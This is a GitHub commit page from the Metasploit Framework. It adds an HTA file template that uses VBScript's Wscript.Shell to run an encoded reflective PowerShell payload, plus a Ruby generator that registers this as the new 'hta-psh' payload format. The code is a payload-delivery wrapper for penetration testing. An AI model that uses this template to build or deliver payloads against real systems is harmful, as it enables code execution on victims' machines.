Skip to content

Commit 381f6ff

Browse files
committed
HTA Powershell template
1 parent 85ba60b commit 381f6ff

File tree

2 files changed

+29
-0
lines changed

2 files changed

+29
-0
lines changed
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
<script language="VBScript">
2+
Set %{var_shell} = CreateObject("Wscript.Shell")
3+
%{var_shell}.Run "%{powershell}"
4+
</script>

lib/msf/util/exe.rb

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1117,6 +1117,28 @@ def self.to_powershell_command(framework, arch, code)
11171117
method: 'reflection')
11181118
end
11191119

1120+
def self.to_powershell_hta(framework, arch, code)
1121+
template_path = File.join(Msf::Config.data_directory,
1122+
"templates",
1123+
"scripts")
1124+
1125+
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1126+
arch,
1127+
template_path,
1128+
encode_final_payload: true,
1129+
remove_comspec: true,
1130+
method: 'reflection')
1131+
1132+
# Intialize rig and value names
1133+
rig = Rex::RandomIdentifierGenerator.new()
1134+
rig.init_var(:var_shell)
1135+
1136+
hash_sub = rig.to_h
1137+
hash_sub[:powershell] = powershell
1138+
1139+
read_replace_script_template("to_powershell.hta.template", hash_sub)
1140+
end
1141+
11201142
def self.to_win32pe_vbs(framework, code, opts = {})
11211143
to_exe_vbs(to_win32pe(framework, code, opts), opts)
11221144
end
@@ -1924,6 +1946,8 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
19241946
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
19251947
when 'psh-cmd'
19261948
Msf::Util::EXE.to_powershell_command(framework, arch, code)
1949+
when 'hta-psh'
1950+
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
19271951
end
19281952
end
19291953

@@ -1939,6 +1963,7 @@ def self.to_executable_fmt_formats
19391963
"exe-only",
19401964
"exe-service",
19411965
"exe-small",
1966+
"hta-psh",
19421967
"loop-vbs",
19431968
"macho",
19441969
"msi",

0 commit comments

Comments
 (0)